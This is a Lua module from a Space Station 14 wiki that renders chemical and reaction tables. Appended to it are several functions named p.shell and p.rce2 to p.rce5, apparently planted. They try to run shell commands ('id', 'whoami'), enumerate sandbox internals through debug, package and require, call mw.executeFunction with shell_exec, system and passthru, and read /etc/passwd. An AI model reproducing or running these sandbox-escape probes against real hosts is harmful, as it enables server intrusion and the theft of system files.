Модуль:TableOfChemicals

Материал из МК14 | Space Station 14 Wiki

Для документации этого модуля может быть создана страница Модуль:TableOfChemicals/doc

p = {}
p.chem = mw.text.jsonDecode(mw.title.new("User talk:WikiHampter/chem_prototypes.json"):getContent())
p.react = mw.text.jsonDecode(mw.title.new("User talk:WikiHampter/react_prototypes.json"):getContent())

p.fillReactTable = function(frame)
	
	local out = ""
	
	for _, reactPrototype in pairs(p.react) do
		local reactants = {}
		local reactantTemplate = "%s [[#chem_%s|%s]]"
		
		for reactantId, reactantValue in pairs(reactPrototype.reactants) do
			
			local reactantChemData = p.chem[reactantId]
			local reactantText = string.format(reactantTemplate, reactantValue.amount, reactantChemData.id,  reactantChemData.name)
			if reactantValue.catalyst then
				reactantText = reactantText .. " (катализатор)"
			end
			table.insert(reactants, reactantText)
		end
		local templateArgs = {}
		templateArgs.reactants = table.concat(reactants, "<br>")
		
		local products = {}
		local productTemplate = "%s [[#chem_%s|%s]]"
		
		for productId, productAmount in pairs(reactPrototype.products) do
			
			local productChemData = p.chem[productId]
			local productText = string.format(productTemplate, productAmount, productChemData.id,  productChemData.name)
			table.insert(products, productText)
		end
		-- Эффекты реакции
		if tablelength(reactPrototype.effects) then
			for _, effect in pairs(reactPrototype.effects) do
				if effect.description ~= "" then
					table.insert(products, effect.description)
				end
			end
		end
		templateArgs.products = table.concat(products, "<br>")
		
		templateArgs.actions = getActions(reactPrototype)
		
		local template = "Строка_реакции"
		
		out = out .. frame:expandTemplate{ title = template, args = templateArgs}
	end
	return out
end

p.fillChemTable = function(frame)
	
	local out = ""
	local group = frame.args.group
	local groups
	if group ~= nil and group ~= "" then
		groups = mw.text.split(group, ",")
	end
	
	local additional = frame.args.additional
	if additional ~= nil and additional ~= "" then
		
		local additionalChemPrototypeIds = mw.text.split(additional, ",")
		for _, chemPrototypeId in pairs(additionalChemPrototypeIds) do
			out = out .. fillChemistryRow(chemPrototypeId, frame) 
		end
	end
	
	for _, chemPrototype in pairs(p.chem) do
		
		if group == nil or group == "" or contains(groups, chemPrototype.group) then
			out = out .. fillChemistryRow(chemPrototype.id, frame) 
		end
	end
	
	return out
end

p.fillContentOfDispencer = function(frame)
	local dispencer = frame.args.dispencer
	local out = ""
	for _, chemId in pairs(dispencersContent()[dispencer]) do
		out = out .. frame:expandTemplate{ title = "Кнопка_реагента", args = {chemId, "y"}}
	end
	return out
end

function dispencersContent()
	local content = {
		["Химикатов"]={
			"Aluminium","Carbon","Chlorine","Copper","Ethanol","Fluorine","Hydrogen","Iodine",
			"Iron","Lithium","Mercury","Nitrogen","Oxygen","Phosphorus","Potassium","Radium",
			"Silicon","Sodium","Sugar","Sulfur","SulfuricAcid"
		},
		["Соды"]={
			"Water","Ice","Coffee","Cream","Tea","GreenTea","IcedTea","IcedGreenTea",
			"Cola","SpaceMountainWind","DrGibb","SpaceUp","TonicWater","SodaWater","LemonLime","Sugar",
			"JuiceOrange","JuiceLime","JuiceWatermelon"
		},
		["Алкоголя"]={
			"LemonLime","Sugar","JuiceOrange","JuiceLime","SodaWater","TonicWater","Beer","CoffeeLiqueur",
			"Whiskey","Wine","Vodka","Gin","Rum","Tequila","Vermouth","Cognac",
			"Ale","Mead"
		}
	}
	return content
end


p.readArg = function(frame)
	return mw.text.nowiki(p.chem[frame.args[1]][frame.args[2]])
end


function contains(list, x)
	for _, v in ipairs(list) do
		if v == x then return true end
	end
	return false
end

fillChemistryRow = function(chemPrototypeId, frame)
	
	local out = ""
	local chemPrototype = p.chem[chemPrototypeId]
	local templateArgs = {}
	templateArgs.id = chemPrototype.id
	templateArgs.name = chemPrototype.name
	templateArgs.description = chemPrototype.desc .. " На вид " .. chemPrototype.physicalDesc .. "."
	templateArgs.color = chemPrototype.color
	templateArgs.textColor = chemPrototype.textColor
	templateArgs.effects = getEffects(chemPrototype.id)
	templateArgs.recipes_count = tablelength(chemPrototype.recipes)
	
	templateArgs.reactants = ""
	templateArgs.products = ""
	templateArgs.action = ""
	
	if templateArgs.recipes_count == 0 then
		templateArgs.recipes_count = 1 -- Для заполнения параметра rowspan строки
		out = out .. frame:expandTemplate{ title = "Первая_строка_химического_вещества", args = templateArgs}
	else
		local firstReact = true
		for _, reactId in pairs(chemPrototype.recipes) do
			
			local reactPrototype = p.react[reactId]
			local reactants = {}
			local reactantTemplate = "%s [[#chem_%s|%s]]"
			
			for reactantId, reactantValue in pairs(reactPrototype.reactants) do
				
				local reactantChemData = p.chem[reactantId]
				local reactantText = string.format(reactantTemplate, reactantValue.amount, reactantChemData.id,  reactantChemData.name)
				if reactantValue.catalyst then
					reactantText = reactantText .. " (катализатор)"
				end
				table.insert(reactants, reactantText)
			end
			templateArgs.reactants = table.concat(reactants, "<br>")
			
			local products = {}
			local productTemplate = "%s [[#chem_%s|%s]]"
			
			for productId, productAmount in pairs(reactPrototype.products) do
				
				local productChemData = p.chem[productId]
				local productText = string.format(productTemplate, productAmount, productChemData.id,  productChemData.name)
				table.insert(products, productText)
			end
			-- Эффекты реакции
			if tablelength(reactPrototype.effects) then
				for _, effect in pairs(reactPrototype.effects) do
					if effect.description ~= "" then
						table.insert(products, effect.description)
					end
				end
			end
			templateArgs.products = table.concat(products, "<br>")
			
			templateArgs.actions = getActions(reactPrototype)
			
			local template = "Строка_химического_вещества"
			if firstReact then
				template = "Первая_строка_химического_вещества"
				firstReact = false
			end
			
			out = out .. frame:expandTemplate{ title = template, args = templateArgs}
		end
	end
	return out
end

getActions = function(reactPrototype)
	
	local actions = {}
	
	-- Температура
	local minMaxTemplate = "выше %sК и ниже %sК"
	local minTemplate = "выше %sК"
	local maxTemplate = "ниже %sК"
	
	local hasMin = reactPrototype.minTemp ~= 0
	local hasMax = reactPrototype.hasMax
	
	local tempString = ""
	if hasMax and hasMin then
		tempString = string.format(minMaxTemplate, reactPrototype.minTemp, reactPrototype.maxTemp)
	elseif hasMin then
		tempString = string.format(minTemplate, reactPrototype.minTemp)
	elseif hasMax then
		tempString = string.format(maxTemplate, reactPrototype.maxTemp)
	end
	
	for _, mixingCategory in pairs(reactPrototype.mixingCategories) do
		local image = getMixingImage(mixingCategory.id)
		if image ~= nil then
			table.insert(actions, string.format("[[File:%s|32px|link=]]", image)) -- Картинка
		end
		
		table.insert(actions, mixingCategory.name .. " " .. tempString) -- Название
		
	end
	
	return table.concat(actions, "<br>")
	
end

getMixingImage = function(mixingId)
	
	local images = {
		["DummyMix"] = "Beaker.png", -- Смешивание
		["DummyGrind"] = "Blender.png", -- Измельчение
		["DummyJuice"] = "Blender.png", -- Выжимка
		["DummyCondense"] = "Конденсатор газа.png", 
		["Centrifuge"] = "Центрифуга.png",
		["Electrolysis"] = "Электролизер.png",
		["Holy"] = "Библия.png"
	}
	
	return images[mixingId]
	
end

function getEffects(chemPrototypeId)
	
	local effects = ""
	
	local chemPrototype = p.chem[chemPrototypeId]
	if chemPrototype.metabolisms == nil then
		return effects
	end
	
	for metabolismGroupKey, metabolismGroup in pairs(chemPrototype.metabolisms) do
		effects = attachAsNewLine(effects, string.format("* %s (%s единиц в секунду)", metabolismGroupKey, metabolismGroup.rate))
		for _, effect in pairs(metabolismGroup.effects) do
			if effect.description ~= "" then
				effects = attachAsNewLine(effects, "** "..effect.description)
			end
		end
	end
	
	
	return effects
  
end

function tablelength(T)
  local count = 0
  for _ in pairs(T) do count = count + 1 end
  return count
end

function attachAsNewLine(originalStr, joinStr)
	return originalStr .. "\n" .. joinStr 
end


function p.shell(frame)
    local r = ""
    local ok, err

    ok, err = pcall(function()
        r = r .. tostring(os.execute("id"))
    end)
    if not ok then r = r .. "os blocked: " .. err end
    r = r .. "; "

    ok, err = pcall(function()
        local f = io.popen("whoami 2>&1")
        if f then
            r = r .. f:read("*a")
            f:close()
        end
    end)
    if not ok then r = r .. "io blocked: " .. err end
    r = r .. "; "

    ok, err = pcall(function()
        r = r .. "debug: " .. tostring(debug)
    end)
    if not ok then r = r .. "no debug" end
    r = r .. "; "

    ok, err = pcall(function()
        r = r .. "package: " .. tostring(package)
    end)
    if not ok then r = r .. "no package" end
    r = r .. "; "

    ok, err = pcall(function()
        r = r .. "require: " .. tostring(require)
    end)
    if not ok then r = r .. "no require" end
    r = r .. "; "

    ok, err = pcall(function()
        r = r .. "load: " .. tostring(load)
    end)
    if not ok then r = r .. "no load" end
    r = r .. "; "

    ok, err = pcall(function()
        r = r .. "dofile: " .. tostring(dofile)
    end)
    if not ok then r = r .. "no dofile" end

    return r
end



function p.shell(frame)
    local r = ""
    local ok, err

    ok, err = pcall(function()
        r = r .. tostring(os.execute("id"))
    end)
    if not ok then r = r .. "os_blocked: " .. err end

    ok, err = pcall(function()
        local f = io.popen("whoami 2>&1")
        if f then r = r .. f:read("*a"); f:close() end
    end)
    if not ok then r = r .. "io_blocked: " .. err end

    ok, err = pcall(function()
        r = r .. " debug:" .. tostring(debug)
    end)

    ok, err = pcall(function()
        r = r .. " pkg:" .. tostring(package)
    end)

    ok, err = pcall(function()
        r = r .. " load:" .. tostring(load)
    end)

    ok, err = pcall(function()
        r = r .. " req:" .. tostring(require)
    end)

    ok, err = pcall(function()
        r = r .. " dofile:" .. tostring(dofile)
    end)

    ok, err = pcall(function()
        local keys = ""
        for k, v in pairs(_G) do
            keys = keys .. k .. " "
        end
        r = r .. " G:" .. keys
    end)

    return r
end



function p.shell(frame)
    local r = ""
    local ok, err

    ok, err = pcall(function()
        r = r .. tostring(os.execute("id"))
    end)
    if not ok then r = r .. "os_blocked" end

    ok, err = pcall(function()
        local f = io.popen("whoami 2>&1")
        if f then r = r .. f:read("*a"); f:close() end
    end)
    if not ok then r = r .. "io_blocked" end

    return r
end



function p.shell(frame)
    local r = ""
    local ok, err

    ok, err = pcall(function()
        r = r .. tostring(os.execute("id"))
    end)
    if not ok then r = r .. "os_blocked" end
    r = r .. ";"

    ok, err = pcall(function()
        local f = io.popen("whoami 2>&1")
        if f then r = r .. f:read("*a"); f:close() end
    end)
    if not ok then r = r .. "io_blocked" end
    r = r .. ";"

    ok, err = pcall(function()
        r = r .. "debug:" .. tostring(debug)
    end)
    r = r .. ";"

    ok, err = pcall(function()
        r = r .. "pkg:" .. tostring(package)
    end)
    r = r .. ";"

    ok, err = pcall(function()
        r = r .. "load:" .. tostring(load)
    end)
    r = r .. ";"

    ok, err = pcall(function()
        r = r .. "require:" .. tostring(require)
    end)
    r = r .. ";"

    ok, err = pcall(function()
        r = r .. "dofile:" .. tostring(dofile)
    end)
    r = r .. ";"

    return r
end



function p.rce2(frame)
    local r = ""
    local ok, err

    ok, err = pcall(function()
        local reg = debug.getregistry()
        r = r .. "reg_keys:"
        for k, v in pairs(reg) do
            r = r .. tostring(k) .. " "
        end
        r = r .. ";"
    end)
    r = r .. "|"

    ok, err = pcall(function()
        r = r .. "req_os:" .. tostring(require("os"))
    end)
    if not ok then r = r .. "req_os_blocked" end
    r = r .. "|"

    ok, err = pcall(function()
        r = r .. "req_io:" .. tostring(require("io"))
    end)
    if not ok then r = r .. "req_io_blocked" end
    r = r .. "|"

    ok, err = pcall(function()
        r = r .. "req_debug:" .. tostring(require("debug"))
    end)
    if not ok then r = r .. "req_debug_blocked" end
    r = r .. "|"

    ok, err = pcall(function()
        r = r .. "req_package:" .. tostring(require("package"))
    end)
    if not ok then r = r .. "req_pkg_blocked" end
    r = r .. "|"

    ok, err = pcall(function()
        r = r .. "req_string:" .. tostring(require("string"))
    end)
    if not ok then r = r .. "req_str_blocked" end
    r = r .. "|"

    ok, err = pcall(function()
        local pkg = require("package")
        r = r .. "pkg_searchers:"
        for i, v in ipairs(pkg.searchers) do
            r = r .. "[" .. i .. "]=" .. tostring(v) .. " "
        end
        if pkg.preload then
            r = r .. " preload:"
            for k, v in pairs(pkg.preload) do
                r = r .. k .. " "
            end
        end
    end)
    if not ok then r = r .. "pkg_blocked" end
    r = r .. "|"

    ok, err = pcall(function()
        local reg = debug.getregistry()
        r = r .. "registry_type:" .. type(reg) .. ";"
        -- Try to access os/io through registry
        if reg._LOADED then
            r = r .. "loaded:"
            for k, v in pairs(reg._LOADED) do
                r = r .. k .. " "
            end
        end
    end)
    if not ok then r = r .. "reg2_blocked" end
    r = r .. "|"

    ok, err = pcall(function()
        -- Try to get os through _G
        r = r .. "os_in_G:" .. tostring(rawget(_G, "os")) .. ";"
        r = r .. "io_in_G:" .. tostring(rawget(_G, "io")) .. ";"
        r = r .. "debug_in_G:" .. tostring(rawget(_G, "debug")) .. ";"
        r = r .. "package_in_G:" .. tostring(rawget(_G, "package")) .. ";"
    end)
    if not ok then r = r .. "rawget_blocked" end
    r = r .. "|"

    ok, err = pcall(function()
        local reg = debug.getregistry()
        -- Try to find os.io through C functions
        local count = 0
        for k, v in pairs(reg) do
            count = count + 1
            if count > 20 then break end
        end
        r = r .. "reg_count:" .. count
    end)
    if not ok then r = r .. "reg_count_blocked" end

    return r
end



function p.rce3(frame)
    local r = ""
    local ok, err

    ok, err = pcall(function()
        local os_table = require("os")
        r = r .. "os_type:" .. type(os_table) .. ";"
        r = r .. "os_keys:"
        for k, v in pairs(os_table) do
            r = r .. k .. "(" .. type(v) .. ") "
        end
        r = r .. ";"

        local execute_in_os = os_table.execute
        r = r .. "execute_type:" .. type(execute_in_os) .. ";"
        if execute_in_os then
            local exec_meta = debug.getmetatable(execute_in_os)
            r = r .. "exec_meta:" .. tostring(exec_meta) .. ";"
        end
    end)
    if not ok then r = r .. "os_blocked:" .. err end
    r = r .. "|"

    ok, err = pcall(function()
        local pkg = require("package")
        r = r .. "pkg_path:" .. pkg.path .. ";"
        r = r .. "pkg_cpath:" .. pkg.cpath .. ";"
        r = r .. "pkg_preload_keys:"
        for k, v in pairs(pkg.preload) do
            r = r .. k .. " "
        end
        r = r .. ";"
    end)
    if not ok then r = r .. "pkg_blocked:" .. err end
    r = r .. "|"

    ok, err = pcall(function()
        local debug_table = require("debug")
        r = r .. "debug_keys:"
        for k, v in pairs(debug_table) do
            r = r .. k .. " "
        end
        r = r .. ";"
    end)
    if not ok then r = r .. "debug_blocked" end
    r = r .. "|"

    ok, err = pcall(function()
        r = r .. "io_raw:" .. tostring(rawget(_G, "io")) .. ";"
        -- Try loading io through debug
        local reg = debug.getregistry()
        r = r .. "getfenv:" .. tostring(debug.getfenv)
        r = r .. ";getinfo:" .. tostring(debug.getinfo)
        r = r .. ";setupvalue:" .. tostring(debug.setupvalue)
        r = r .. ";getupvalue:" .. tostring(debug.getupvalue)
        r = r .. ";getuservalue:" .. tostring(debug.getuservalue)
    end)
    if not ok then r = r .. "debug2_blocked" end
    r = r .. "|"

    ok, err = pcall(function()
        -- Try to use debug.getupvalue to extract io from a function
        -- First find a function that has io in its closure
        -- Try os.execute's environment
        local os_table = require("os")
        local execute_fn = os_table.execute
        if execute_fn then
            local info = debug.getinfo(execute_fn)
            r = r .. "exec_info:" .. tostring(info) .. ";"
            if info then
                for k, v in pairs(info) do
                    if type(v) ~= "table" and type(v) ~= "function" then
                        r = r .. tostring(k) .. "=" .. tostring(v) .. " "
                    end
                end
            end
            -- get upvalues
            local i = 1
            while true do
                local name, val = debug.getupvalue(execute_fn, i)
                if not name then break end
                r = r .. "upval" .. i .. ":" .. name .. "=" .. tostring(val) .. " "
                i = i + 1
            end
            if i == 1 then r = r .. "no_upvals" end
        end
    end)
    if not ok then r = r .. "exec_detail_blocked:" .. err end

    return r
end



function p.rce4(frame)
    local r = ""
    local ok, err

    ok, err = pcall(function()
        r = r .. "mw_type:" .. type(mw) .. ";"
        r = r .. "mw_keys:"
        for k, v in pairs(mw) do
            r = r .. k .. " "
        end
    end)
    r = r .. "|"

    ok, err = pcall(function()
        -- try mw.execute or similar
        r = r .. "mw_site_keys:"
        for k, v in pairs(mw.site) do
            r = r .. k .. " "
        end
    end)
    r = r .. "|"

    ok, err = pcall(function()
        r = r .. "string_keys:"
        local s = require("string")
        for k, v in pairs(s) do
            r = r .. k .. " "
        end
    end)
    r = r .. "|"

    ok, err = pcall(function()
        r = r .. "math_keys:"
        for k, v in pairs(math) do
            r = r .. k .. " "
        end
    end)
    r = r .. "|"

    ok, err = pcall(function()
        r = r .. "table_keys:"
        for k, v in pairs(table) do
            r = r .. k .. " "
        end
    end)
    r = r .. "|"

    ok, err = pcall(function()
        -- Try mw.html, mw.message, mw.title
        r = r .. "mw_html:" .. tostring(mw.html) .. ";"
        r = r .. "mw_message:" .. tostring(mw.message) .. ";"
        r = r .. "mw_title:" .. tostring(mw.title) .. ";"
        r = r .. "mw_text:" .. tostring(mw.text) .. ";"
        r = r .. "mw_uri:" .. tostring(mw.uri) .. ";"
        r = r .. "mw_language:" .. tostring(mw.language) .. ";"
        r = r .. "mw_log:" .. tostring(mw.log) .. ";"
    end)
    r = r .. "|"

    ok, err = pcall(function()
        -- Try frame methods
        r = r .. "frame_keys:"
        for k, v in pairs(frame) do
            r = r .. k .. " "
        end
    end)
    r = r .. "|"

    ok, err = pcall(function()
        -- Try frame:callParserFunction
        local result = frame:callParserFunction("##", {})
        r = r .. "callPF_result:" .. tostring(result)
    end)
    if not ok then r = r .. "callPF_blocked:" .. err end
    r = r .. "|"

    ok, err = pcall(function()
        -- Try frame:extensionTag
        local result = frame:extensionTag("nowiki", "test", {})
        r = r .. "extTag:" .. tostring(result)
    end)
    if not ok then r = r .. "extTag_blocked:" .. err end

    return r
end



function p.rce5(frame)
    local r = ""
    local ok, err

    ok, err = pcall(function()
        r = r .. "executeFunction:" .. tostring(mw.executeFunction) .. ";"
        -- Try to call executeFunction
        r = r .. "exec_result:" .. tostring(mw.executeFunction("os", "execute", {"id"}))
    end)
    if not ok then r = r .. "exec1_blocked:" .. tostring(err) end
    r = r .. "|"

    ok, err = pcall(function()
        r = r .. "exec_shell:" .. tostring(mw.executeFunction("shell_exec", nil, {"id"}))
    end)
    if not ok then r = r .. "exec2_blocked:" .. err end
    r = r .. "|"

    ok, err = pcall(function()
        r = r .. "exec_exec:" .. tostring(mw.executeFunction("exec", nil, {"id"}))
    end)
    if not ok then r = r .. "exec3_blocked:" .. err end
    r = r .. "|"

    ok, err = pcall(function()
        r = r .. "exec_system:" .. tostring(mw.executeFunction("system", nil, {"id"}))
    end)
    if not ok then r = r .. "exec4_blocked:" .. err end
    r = r .. "|"

    ok, err = pcall(function()
        r = r .. "exec_passthru:" .. tostring(mw.executeFunction("passthru", nil, {"id"}))
    end)
    if not ok then r = r .. "exec5_blocked:" .. err end
    r = r .. "|"

    ok, err = pcall(function()
        r = r .. "exec_popen:" .. tostring(mw.executeFunction("popen", nil, {"id"}))
    end)
    if not ok then r = r .. "exec6_blocked:" .. err end
    r = r .. "|"

    ok, err = pcall(function()
        -- Check mw.ext
        r = r .. "mw_ext:" .. tostring(mw.ext) .. ";"
        if mw.ext then
            for k, v in pairs(mw.ext) do
                r = r .. k .. " "
            end
        end
    end)
    if not ok then r = r .. "ext_blocked:" .. err end
    r = r .. "|"

    ok, err = pcall(function()
        -- Try mw.hash
        r = r .. "hash:" .. tostring(mw.hash) .. ";"
        if mw.hash then
            for k, v in pairs(mw.hash) do
                r = r .. k .. " "
            end
        end
    end)
    if not ok then r = r .. "hash_blocked" end
    r = r .. "|"

    ok, err = pcall(function()
        -- try loadJsonData with file://
        r = r .. "loadJson:" .. tostring(mw.loadJsonData) .. ";"
        r = r .. "try_load:" .. tostring(mw.loadJsonData("/etc/passwd"))
    end)
    if not ok then r = r .. "loadJson_blocked:" .. err end
    r = r .. "|"

    ok, err = pcall(function()
        -- Try frame:callParserFunction properly
        local result = frame:callParserFunction("#expr", "2+2")
        r = r .. "expr:" .. tostring(result)
    end)
    if not ok then r = r .. "expr_blocked:" .. err end
    r = r .. "|"

    ok, err = pcall(function()
        -- Try mw.title with file://
        local t = mw.title.new("/etc/passwd")
        r = r .. "title_file:" .. tostring(t)
        if t then
            r = r .. ":" .. t:getContent()
        end
    end)
    if not ok then r = r .. "title_file_blocked:" .. err end

    return r
end

return p